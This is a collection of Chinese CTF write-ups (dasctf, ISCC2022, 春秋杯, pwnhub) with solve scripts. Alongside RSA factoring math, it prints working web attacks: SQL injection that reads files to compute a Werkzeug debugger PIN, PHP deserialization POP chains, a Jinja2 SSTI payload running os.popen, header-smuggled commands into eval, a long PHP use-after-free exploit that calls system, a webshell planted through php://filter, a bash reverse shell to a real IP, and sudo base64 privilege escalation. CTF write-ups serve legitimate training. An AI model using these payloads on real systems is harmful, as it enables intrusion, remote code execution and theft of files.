text)%23" load = "0';load data local infile '" +path+"' into table hua" +time+"%23" load2 = "0';load data local infile '" +path2+"' into table hua" +time2+"%23" load3 = "0';load data local infile '" +path3+"' into table hua" +time3+"%23" ks.get(url=url+sql+create) ks.get(url=url+sql+load) for i in range (1000 ): payload="0'union select 1,2,3,4,(select cmd from hua" +time+" limit " +str (i)+",1)%23" re3 = ks.get(url=url+sql+payload) line1 = re.findall('\s(.*?)\s \</h1' ,re3.text) cal = line1[0 ][0 :1000 ] if cal==' None' : break cal = html.unescape(cal) cal1 = cal.replace(' ' ,'' ) ks.get(url=url+sql+create2) ks.get(url=url+sql+load2) for i in range (1000 ): payload="0'union select 1,2,3,4,(select cmd from hua" +time2+" limit " +str (i)+",1)%23" re3 = ks.get(url=url+sql+payload) line1 = re.findall('\s(.*?)\s \</h1' ,re3.text) cal = line1[0 ][0 :1000 ] if cal==' None' : break cal = html.unescape(cal) cal = cal.replace(':' ,'' ) cal = cal.replace(' ' ,'' ) cal2 = int (cal,16 ) cal2 = str (cal2) ks.get(url=url+sql+create3) ks.get(url=url+sql+load3) for i in range (1 ): payload="0'union select 1,2,3,4,(select cmd from hua" +time3+" limit " +str (i)+",1)%23" re3 = ks.get(url=url+sql+payload) line1 = re.findall('\s(.*?)\s \</h1' ,re3.text) cal = line1[0 ][0 :1000 ] if cal==' None' : break cal = html.unescape(cal) cal = cal.replace(' ' ,'' ) cal3 = cal.strip().rpartition("/" )[2 ] probably_public_bits = [ 'ctf' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ cal2, cal1+cal3 ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = f'__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join( num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
easyrsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import getStrongPrimefrom gmpy import next_primefrom random import getrandbitsfrom flag import flagp=getStrongPrime(1024 ) q=next_prime(p^((1 <<900 )-1 )^getrandbits(300 )) n=p*q e=65537 m=int (flag.encode('hex' ),16 ) assert m<nc=pow (m,e,n) print (hex (n))print (hex (c))
next_prime方法是获取该数字的接下来的一个质数,而作为一个大数,下一个数与其相差是很小的,因此受到影响的只有低位,而高位是相同的
p
与p^((1<<900)-1)^getrandbits(300)
近似,将p与q都分别拆成高124位和低900位,p的高124位由于在异或时不受到影响,因此与q的高124位也是相等的
并且p的低位与q的低位之和等于1<<900-1+c1
,c1是小于300位的随机数与1<<900-1
异或后再以此获取到下一位质数的低位时发生的改变量,是一个小数
1 2 3 4 5 6 n=p*q n=(phigh*2 **900 +plow)*(qhigh*2 **900 +qlow) n=(x*2 **900 +plow)*(x*2 *900 +qlow) n=x**2 *2 **1800 +x*2 **900 *(plow+qlow)+(plow+qlow)
1 2 3 4 5 6 7 8 import sympyn=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 x=sympy.Symbol('x' ) f1=x**2 +x-n//2 **1800 result=sympy.solve([f1],[x]) print (result)
计算出高124位值
接着利用高124位值继续计算原始值,首先由n=p*q以及高124位的值爆出pq近似值,1<900-1
的1位到900位都是1,而没有与getrandbits(300)
进行异或的300位到900位之间,与p异或后,得到的q的每一位必定与p的每一位不同,而且p与q相差越大,n越小,反之相差越小则n越大,而pq高124位相同,从900到300位之间,pq每一位必定不同,因此,此时p越小,则q越大,因此从最高不同位开始对qp进行交换值,爆出300到900位pq小于n的最大值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import gmpy2from Crypto.Util.number import long_to_bytesn=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 e=65537 c=0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1 a=20226195070633070235386534147535171929 p_high=a p=(p_high<<900 )+((1 <<900 )-1 )^((1 <<300 )-1 ) q=p_high<<900 for i in range (898 ,299 ,-1 ): bit=1 <<i if (p^bit)*(q^bit)<n: p^=bit q^=bit print (f"p={p} " )print (f"q={q} " )
使用coppersmith定理进行高位攻击
small_roots方法,参数X是可能解的上限,最高可取值为2的454次方,也就是454位未知时可用,参数beta在p和q非常接近时取0.4即可,但其他时候需要看情况取值,具体说明看文章(RSA中coppersmith定理的应用条件)[https://blog.csdn.net/qq_51999772/article/details/123620932]
得到p即可求出q,接着就是一般解rsa的步骤即可解出:
1 2 3 4 5 6 7 8 9 10 import gmpy2import binasciip = 170966211863977623201944075700366958395158791305775637137148430402719914596268969449870561801896130406088025694634815584789789278534177858182071449441084789053688828370314062664371527964357773254659131885022323526864655742577256932209187678896131068422973326545184343697783650940422950445390573562429093050687 q = n//p phi=(p-1 )*(q-1 ) d=gmpy2.invert(e,phi) print (binascii.unhexlify(hex (pow (c,d,n))[2 :]).decode())
dasctf2022 抗’疫’ web1 抓包:
1 2 3 POST /?action=TestView properties%5Btemplate%5D=%7BTableBody%7D&properties%5BrowHtmlOptionsExpression%5D=system%28'/readflag'%29&properties%5Bdata%5D%5B0%5D=1
调用了run方法,run在listview,但这是个抽象类,找到子类testview,然后创建,触发父类run方法,调用回调方法,正则匹配被{}包起来的字符串[A-Za-z],调用renderSection方法,拼接render和TableBody调用,满足条件rowHtmlOptionsExpression不为空,触发基类的方法,满足data不为空,打进eval,rce
easy_real 被格式害惨了,本来最后五分钟都算出来了,结果算出来的原始字符串里的反斜杠被转义了,盯着异或之后的字符串看半天没看出问题在哪,我哭死
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import binasciiimport gmpy2p = 64310413306776406422334034047152581900365687374336418863191177338901198608319 q = 65267138038038699886916162739434586079731613825212388229424706115289974540917 n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523 e = 23 c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397 phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = pow (c,d,n) print (m)print (hex (m))print (binascii.unhexlify(hex (m)[2 :].strip("L" )))a = str (binascii.unhexlify(hex (m)[2 :].strip("L" ))).replace('b\'' ,'' ).replace('\\\\' ,'\\' ).replace('\'' ,'' ) print (a)for i in range (1 ,11 ): flag = '' for k in a: flag +=chr (ord (k)^i) print (flag)
改良exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport timeimport stringimport refrom urllib import parsefrom Crypto.Util.number import bytes_to_long, getPrimefrom gmpy2 import next_primeimport gmpy2from libnum import *from Crypto.Util.number import long_to_bytesimport binasciiimport gmpy2p = 64310413306776406422334034047152581900365687374336418863191177338901198608319 q = 65267138038038699886916162739434586079731613825212388229424706115289974540917 n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523 e = 23 c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397 phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = pow (c,d,n) a = long_to_bytes(m).decode() for i in range (1 ,11 ): flag = '' e = 0 for k in a: flag +=chr (ord (k)^i) if 'f' not in flag: e=1 break if e == 0 : print (flag)
ISCC2022 找自信
web 冬奥会 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php show_source (__FILE__ );$Step1 =False;$Step2 =False;$info =(array )json_decode (@$_GET ['Information' ]);var_dump ($info );if (is_array ($info )){ var_dump ($info ); is_numeric (@$info ["year" ])?die ("Sorry~" ):NULL ; if (@$info ["year" ]){ ($info ["year" ]=2022 )?$Step1 =True:NULL ; } if (is_array (@$info ["items" ])){ if (!is_array ($info ["items" ][1 ])OR count ($info ["items" ])!==3 ) die ("Sorry~" ); $status = array_search ("skiing" , $info ["items" ]); $status ===false ?die ("Sorry~" ):NULL ; foreach ($info ["items" ] as $key =>$val ){ $val ==="skiing" ?die ("Sorry~" ):NULL ; } $Step2 =True; } } if ($Step1 && $Step2 ){ include "2022flag.php" ;echo $flag ; } ?>
json解码:
{“0”:”0”,”1”:[0,[0,1]]}
第一部分代码都看傻了,甚至比弱类型少一个等号,反正year键值对应的有字母就行,第二部分键item对应的值也是一个数组,并且数组中第1位也是数组,并且数组中有三个元素,第三处,接着第0位为int 0绕过array_search ,这样第四部分也检测不到,成功全部绕过
?Information={“year”:”2022a”,”items”:[0,[1],1]}
findme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );class a { public $un0 ; public $un1 ; public $un2 ; public $un3 ; public $un4 ; public function __destruct ( ) { if (!empty ($this ->un0) && empty ($this ->un2)){ $this -> Givemeanew (); if ($this -> un3 === 'unserialize' ){ $this -> yigei (); } else { $this -> giao (); } } } public function Givemeanew ( ) { $this -> un4 = new $this ->un0 ($this -> un1); } public function yigei ( ) { echo 'Your output: ' .$this ->un4; } public function giao ( ) { @eval ($this ->un2); } public function __wakeup ( ) { include $this -> un2.'hint.php' ; } } $data = $_POST ['data' ];unserialize ($data );
1 2 3 <?php $a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来' ;
剩下的唯一的触发点就在__destruct
,保证un0不为空,un2为空时可以进入if语句,先调用Givemeanew方法,将un0为类名的类实例化,参数为un1,并且赋值给un4,如果un3值为unserialize进入if语句调用yigei方法将un4作为字符串返回值
除非empty是能绕过的,否则giao方法里的eval函数就没用
于是可以利用的地方就只有Givemeanew方法里面的打原生类,原生类见识的有点少,花了一点时间才查到一个GlobIterator类可以匹配查询文件,很明显就是hint想告诉我们的答案,于是简单构造一下,查出文件名(我嬲,才发现这出题人居然还是个废狗玩家),然后利用SplFileObject类读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class a {} $a = new a ();$a ->un0 = 'SplFileObject' ;$a ->un1 = 'fATE_gr19ande_Or0de8r.txt' ;$a ->un3 = 'unserialize' ;echo serialize ($a );?>
总结,还是要多了解多种可以进行文件夹操作和文件操作的原生类(差点翻车)
Pop2022 基础pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); } else { $a =new Road_is_Long; highlight_file (__FILE__ ); } class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } } class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
直接写个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Road_is_Long { public $page ; public $string ; } class Try_Work_Hard { protected $var ; public function __construct ( ) { $this ->var = "php://filter/convert.base64-encode/resource=flag.php" ; } } class Make_a_Change { public $effort ; } $a = new Road_is_Long ();$a ->page = new Road_is_Long ();$a ->page->string = new Make_a_Change ();$a ->page->string ->effort = new Try_Work_Hard ();$p = serialize ($a );$y = urlencode ($p );echo $y ;
misc 单板小将苏翊鸣 下载解压010打开图改高度(第二排前四位是宽,后四位是高),网站 在线扫描二维码,在线解密 Unicode转中文,问中国获得多少奖牌,金银铜分别多少,直接查,15942,解压获取flag
春秋杯2022.5季赛 Mercy-code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );if ($_POST ['cmd' ]) { $cmd = $_POST ['cmd' ]; if (';' === preg_replace ('/[a-z_]+\((?R)?\)/' , '' , $cmd )) { if (preg_match ('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i' , $cmd )) { die ('What are you thinking?' ); } else { eval ($cmd ); } } else { die ('Please calm down' ); } }
et拦了get系列,还有一堆阿巴阿巴
找到文章:无参数命令执行学习
die(array_shift(apache_request_headers()));
apache_request_headers()在Apache环境下可用,获取全部的请求头
array被过滤了,然后各种操作都没能返回可控点,然后想获取apache_request_headers函数返回的全部内容,但var_dump之类的都不能用,最后从rossweisse师傅得到提示json_code,使用该函数可将数组转成json字符串,确实获取了请求头全部信息,但数组头尾都是不可空的,中间位置又无法获取到,直接使用这段json字符串进行命令执行,但json_encode返回的字符串是带有双引号的,命令无法逃逸出来:
{“Host”:”eci-2ze1unm8inljptrkfbxt.cloudeci1.ichunqiu.com”,”X-Real-IP”:”111.47.226.120”,”X-Forwarded-For”:”117.136.89.107, 111.47.226.120, 111.47.226.120”,”Connection”:”close”,”Content-Length”:”47”,”RemoteIp”:”111.47.226.120”,”X-Connecting-IP”:”117.136.89.107”,”Real-Remote-Addr”:”117.136.89.107”,”X-Real-Forwarded-For”:”117.136.89.107”,”muhua”:”|ls||”,”Content-Type”:”application/x-www-form-urlencoded”,”X-From”:”JSL”,”X-JSL-Scheme”:”http”,”X-JSL-Port”:”80”}
最后想到addslashes函数,可以将双引号转义掉,并且未被过滤,成功绕过。
发包:
1 2 3 4 5 6 7 POST / HTTP/ 1.1 Content- Length: 62 Host: eci- 2 ze1unm8inljptrkfbxt.cloudeci1.ichunqiu.com muhua: | ls|| Content- Type: application/ x- www- form- urlencoded cmd= system( addslashes( json_encode( apache_request_headers( ) ) ) ) ;
成功读取到目录,成功任意命令执行,flag文件在当前目录,直接执行cat *
即可
pwnhub web TemplatePlay f12唤出开发者工具,看到源代码处有一个js代码:
1 2 3 4 5 (function ( ){ if (navigator.userAgent ="Admin/5.0" ){ window .location .href ="http://" +window .location .host +"/view_template?string=1" } })
要求UA为Admin/5.0,抓包改一下,然后照着他的格式访问/view_template
并传参string,测试发现是ssti模板注入并且是jinja2的
简单测试发现waf,多测试几下,发现以下payload能绕过:
1 http://121.40.89.206:5001/view_template?string={{g.pop.__globals__.__builtins__[%27__import__%27](%27os%27).popen(%27ls%27).read()}}
使用命令找一找
find / -name f 找到flag: /www/config/flag.txt
读取即可
(这波是hackbar真好用,这题还用到了插件User-Agent Switcher and Manager来修改UA,都是chorme的)
MyNotes 有附件,直接下载一个,然后本地审审跑跑测测
在flag.php
里的代码要求$SESSION
里有bool值为true的admin变量,但没有任何地方能创建这个变量
首先需要的知识是,题目是用session来记录的,通过这个记录的变量$SESSION
值是和cookie里的PHPSESSID的值有关,并且$SESSION
会被序列化并写入sess文件,文件名是sess_
加上PHPSESSID
的值,而序列化格式默认为,a|s:1:"1";
接着看到export.php
的源码中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $notes = get_notes ();if (!isset ($_GET ['type' ]) || empty ($_GET ['type' ])) { $type = 'zip' ; } else { $type = $_GET ['type' ]; } $filename = get_user () . '-' . bin2hex (random_bytes (8 )) . '.' . $type ;$filename = str_replace ('..' , '' , $filename ); $path = TEMP_DIR . '/' . $filename ;if ($type === 'tar' ) { $archive = new PharData ($path ); $archive ->startBuffering (); } else { $archive = new ZipArchive (); $archive ->open ($path , ZIPARCHIVE ::CREATE | ZipArchive ::OVERWRITE); } for ($index = 0 ; $index < count ($notes ); $index ++) { $note = $notes [$index ]; $title = $note ['title' ]; $title = preg_replace ('/[^!-~]/' , '-' , $title ); $title = preg_replace ('#[/\\?*.]#' , '-' , $title ); $archive ->addFromString ("{$index} _{$title} .json" , json_encode ($note )); } if ($type === 'tar' ) { $archive ->stopBuffering (); } else { $archive ->close (); }
note的title是可控的,filename可控,type传入.
即可使得末尾拼接的点被替空,
1 2 $filename = get_user () . '-' . bin2hex (random_bytes (8 )) . '.' . $type ;$filename = str_replace ('..' , '' , $filename );
filename为用户名的值,注册 sess_
登入
写入note,title如下|s:1:"a";user|s:5:"muhua";admin|b:1;
这样经过export的处理之后得到的文件就是一个压缩包格式的文件,但文件名是session格式,由于session的反序列化解析,第一个 |
前面的一大串包括不可见字符的字符串会被作为第一个变量名,而admin变量之后的字符串在 |
之前,又会被解析为一个变量,而再之后的与前面的变量重名,不影响,在 ;
之后的由于格式问题不会再被作为变量解析,那么经过这样解析,admin就被作为一个bool值为 true
的存在了
访问:/export.php?type=.
此时得到的文件会被下载,即可得到在目标文件夹下的文件名,于是PHPSESSID的值也得到了,直接带着得到的文件名作为PHPSESSID值的cookie访问/?page=flag
即可
pwnhub内部赛五月 web MockingMail 有源码,审一下,文件上传限制太死(文件内容转义特殊字符,文件名限制后缀)
index.php
里有个
1 2 3 4 5 6 7 8 9 10 $mail ->validateAddress ($address = $_GET ['addr' ], $patternselect = $_GET ['select' ]); public static function validateAddress ($address , $patternselect = null ) { if (null === $patternselect ) { $patternselect = static ::$validator ; } if (is_callable ($patternselect )) { return call_user_func ($patternselect , $address ); }
看一下info.php
里对函数的限制,assert和eval都能用,打一下组合拳:
/index.php?addr=eval($_REQUEST[1])&select=assert 直接蚁剑连上去了,关键是命令函数还不能执行,
蚁剑插件的bypass disablefunction传不上去,github上找了个脚本绕:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 <?php pwn ($_REQUEST ['muhua' ]);function pwn ($cmd ) { define ('LOGGING' , false ); define ('CHUNK_DATA_SIZE' , 0x60 ); define ('CHUNK_SIZE' , ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define ('FILTER_SIZE' , ZEND_DEBUG_BUILD ? 0x70 : 0x50 ); define ('STRING_SIZE' , CHUNK_DATA_SIZE - 0x18 - 1 ); define ('CMD' , $cmd ); for ($i = 0 ; $i < 10 ; $i ++) { $groom [] = Pwn ::alloc (STRING_SIZE); } stream_filter_register ('pwn_filter' , 'Pwn' ); $fd = fopen ('php://memory' , 'w' ); stream_filter_append ($fd ,'pwn_filter' ); fwrite ($fd , 'x' ); } class Helper { public $a , $b , $c ; }class Pwn extends php_user_filter { private $abc , $abc_addr ; private $helper , $helper_addr , $helper_off ; private $uafp , $hfp ; public function filter ($in , $out , &$consumed , $closing ) { if ($closing ) return ; stream_bucket_make_writeable ($in ); $this ->filtername = Pwn ::alloc (STRING_SIZE); fclose ($this ->stream); $this ->go (); return PSFS_PASS_ON; } private function go ( ) { $this ->abc = &$this ->filtername; $this ->make_uaf_obj (); $this ->helper = new Helper; $this ->helper->b = function ($x ) {}; $this ->helper_addr = $this ->str2ptr (CHUNK_SIZE * 2 - 0x18 ) - CHUNK_SIZE * 2 ; $this ->log ("helper @ 0x%x" , $this ->helper_addr); $this ->abc_addr = $this ->helper_addr - CHUNK_SIZE; $this ->log ("abc @ 0x%x" , $this ->abc_addr); $this ->helper_off = $this ->helper_addr - $this ->abc_addr - 0x18 ; $helper_handlers = $this ->str2ptr (CHUNK_SIZE); $this ->log ("helper handlers @ 0x%x" , $helper_handlers ); $this ->prepare_leaker (); $binary_leak = $this ->read ($helper_handlers + 8 ); $this ->log ("binary leak @ 0x%x" , $binary_leak ); $this ->prepare_cleanup ($binary_leak ); $closure_addr = $this ->str2ptr ($this ->helper_off + 0x38 ); $this ->log ("real closure @ 0x%x" , $closure_addr ); $closure_ce = $this ->read ($closure_addr + 0x10 ); $this ->log ("closure class_entry @ 0x%x" , $closure_ce ); $basic_funcs = $this ->get_basic_funcs ($closure_ce ); $this ->log ("basic_functions @ 0x%x" , $basic_funcs ); $zif_system = $this ->get_system ($basic_funcs ); $this ->log ("zif_system @ 0x%x" , $zif_system ); $fake_closure_off = $this ->helper_off + CHUNK_SIZE * 2 ; for ($i = 0 ; $i < 0x138 ; $i += 8 ) { $this ->write ($fake_closure_off + $i , $this ->read ($closure_addr + $i )); } $this ->write ($fake_closure_off + 0x38 , 1 , 4 ); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68 ; $this ->write ($fake_closure_off + $handler_offset , $zif_system ); $fake_closure_addr = $this ->helper_addr + $fake_closure_off - $this ->helper_off; $this ->write ($this ->helper_off + 0x38 , $fake_closure_addr ); $this ->log ("fake closure @ 0x%x" , $fake_closure_addr ); $this ->cleanup (); if ($_REQUEST [1 ]==1 ) ($this ->helper->b)(CMD); } private function make_uaf_obj ( ) { $this ->uafp = fopen ('php://memory' , 'w' ); fwrite ($this ->uafp, pack ('QQQ' , 1 , 0 , 0xDEADBAADC0DE )); for ($i = 0 ; $i < STRING_SIZE; $i ++) { fwrite ($this ->uafp, "\x00" ); } } private function prepare_leaker ( ) { $str_off = $this ->helper_off + CHUNK_SIZE + 8 ; $this ->write ($str_off , 2 ); $this ->write ($str_off + 0x10 , 6 ); $val_off = $this ->helper_off + 0x48 ; $this ->write ($val_off , $this ->helper_addr + CHUNK_SIZE + 8 ); $this ->write ($val_off + 8 , 0xA ); } private function prepare_cleanup ($binary_leak ) { $ret_gadget = $binary_leak ; do { --$ret_gadget ; } while ($this ->read ($ret_gadget , 1 ) !== 0xC3 ); $this ->log ("ret gadget = 0x%x" , $ret_gadget ); $this ->write (0 , $this ->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60 )); $this ->write (8 , $ret_gadget ); } private function read ($addr , $n = 8 ) { $this ->write ($this ->helper_off + CHUNK_SIZE + 16 , $addr - 0x10 ); $value = strlen ($this ->helper->c); if ($n !== 8 ) { $value &= (1 << ($n << 3 )) - 1 ; } return $value ; } private function write ($p , $v , $n = 8 ) { for ($i = 0 ; $i < $n ; $i ++) { $this ->abc[$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } private function get_basic_funcs ($addr ) { while (true ) { $addr -= 0x10 ; if ($this ->read ($addr , 4 ) === 0xA8 && in_array ($this ->read ($addr + 4 , 4 ), [20151012 , 20160303 , 20170718 , 20180731 , 20190902 , 20200930 ])) { $module_name_addr = $this ->read ($addr + 0x20 ); $module_name = $this ->read ($module_name_addr ); if ($module_name === 0x647261646e617473 ) { $this ->log ("standard module @ 0x%x" , $addr ); return $this ->read ($addr + 0x28 ); } } } } private function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = $this ->read ($addr ); $f_name = $this ->read ($f_entry , 6 ); if ($f_name === 0x6d6574737973 ) { return $this ->read ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry !== 0 ); } private function cleanup ( ) { $this ->hfp = fopen ('php://memory' , 'w' ); fwrite ($this ->hfp, pack ('QQ' , 0 , $this ->abc_addr)); for ($i = 0 ; $i < FILTER_SIZE - 0x10 ; $i ++) { fwrite ($this ->hfp, "\x00" ); } } private function str2ptr ($p = 0 , $n = 8 ) { $address = 0 ; for ($j = $n - 1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($this ->abc[$p + $j ]); } return $address ; } private function ptr2str ($ptr , $n = 8 ) { $out = '' ; for ($i = 0 ; $i < $n ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } private function log ($format , $val = '' ) { if (LOGGING) { printf ("{$format} \n" , $val ); } } static function alloc ($size ) { return str_shuffle (str_repeat ('A' , $size )); } } ?>
1=1&muhua=ls /
成功执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cat /hint flag in /root find / -user root -perm -4000 -print 2>/dev/null /bin/mount /bin/su /bin/umount /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chsh /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper 弹个shell到服务器 1=1&muhua=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.107.56.244%2F8083%200%3E%261%22 ls /root permission denied
没权限,需要提权:
1 2 3 4 5 查看版本 cat /etc/issue ubuntu16.04.7 CVE-2017-16995
找到get-rekt-linux-hardened.c
,编译上传,但执行失败了
1 2 uname -a Linux 016873026edb 5.4.0-74-generic #83-Ubuntu SMP Sat May 8 02:35:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
赛后:
很好,提不出,最后寄了,只能说,即使无限接近真相,没解出题目就是0分
真相就是上面使用:
find / -user root -perm -4000 -print 2>/dev/null 指令得到的东西,我也试过sudo,但缺乏经验没注意到,sudo -l查到base64指令是不需要root密码的
于是根据根目录下的hint,直接查:
1 2 sudo base64 /root/flag | base64 --decode
官方似乎没考虑到assert,直接寄,官方预期解就是想利用这个函数执行点执行传文件函数,文件内容是设置的三个,email地址,用户名,密码,直接抓包传设置用户地址为base64加密的一句话,然后在任意函数执行处进行一个传
1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($log_name )){ $log_name = isset ($log_name ) ? $log_name : date ('-Y-m-d' ); $smtp_log = $_SESSION ['smtpserver' ]."\n" .$_SESSION ['smtpuser' ]."\n" .$_SESSION ['smtppass' ]; $smtp_log = htmlspecialchars ($smtp_log , ENT_HTML401 | ENT_QUOTES); $blacklists = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"php1" ,"html" ,"htm" ,"phtml" ,"pht" ,"pHp5" ,"pHp4" ,"pHp3" ,"pHp2" ,"pHp1" ,"Html" ,"Htm" ,"pHtml" ); if (!in_array (pathinfo ($log_name , PATHINFO_EXTENSION), $blacklists , true )) { file_put_contents ($log_name , $smtp_log ); $filepath = $log_path .'/' .$log_name ; echo $filepath ; } }
做的时候想到传,但没想到怎么绕那个pathinfo,之前其实遇到过,没深入看,在地址后加一个/.
即可让它返回为空,自然也就不会被黑名单拦
1 2 3 4 5 6 POST: smtppass=VRVNUWzFdKTsgPz4%3D&smtpserver=PD9waHAgQGV&smtpuser=2YWwoJF9SRVF http://121.40.89.206:25791/index.php?select=smtp_logs&addr=php://filter/convert.base64-decode/resource=smilemoonsupershellwuhu.php/.
接着对于open_basedir
和命令执行的预期是打 php-imagick
通常都是利用LD_PRELOAD
,mail和so文件绕过,这里mail被ban了,但其实mail函数的原理是会加载动态库函数,然后改变环境变量LD_PRELOAD
,触发新进程从而劫持,执行so文件,最终达到绕过disable_function
和open_basedir
执行命令的效果
具体方法就不总结在这里了,放个官方wp:官方wp
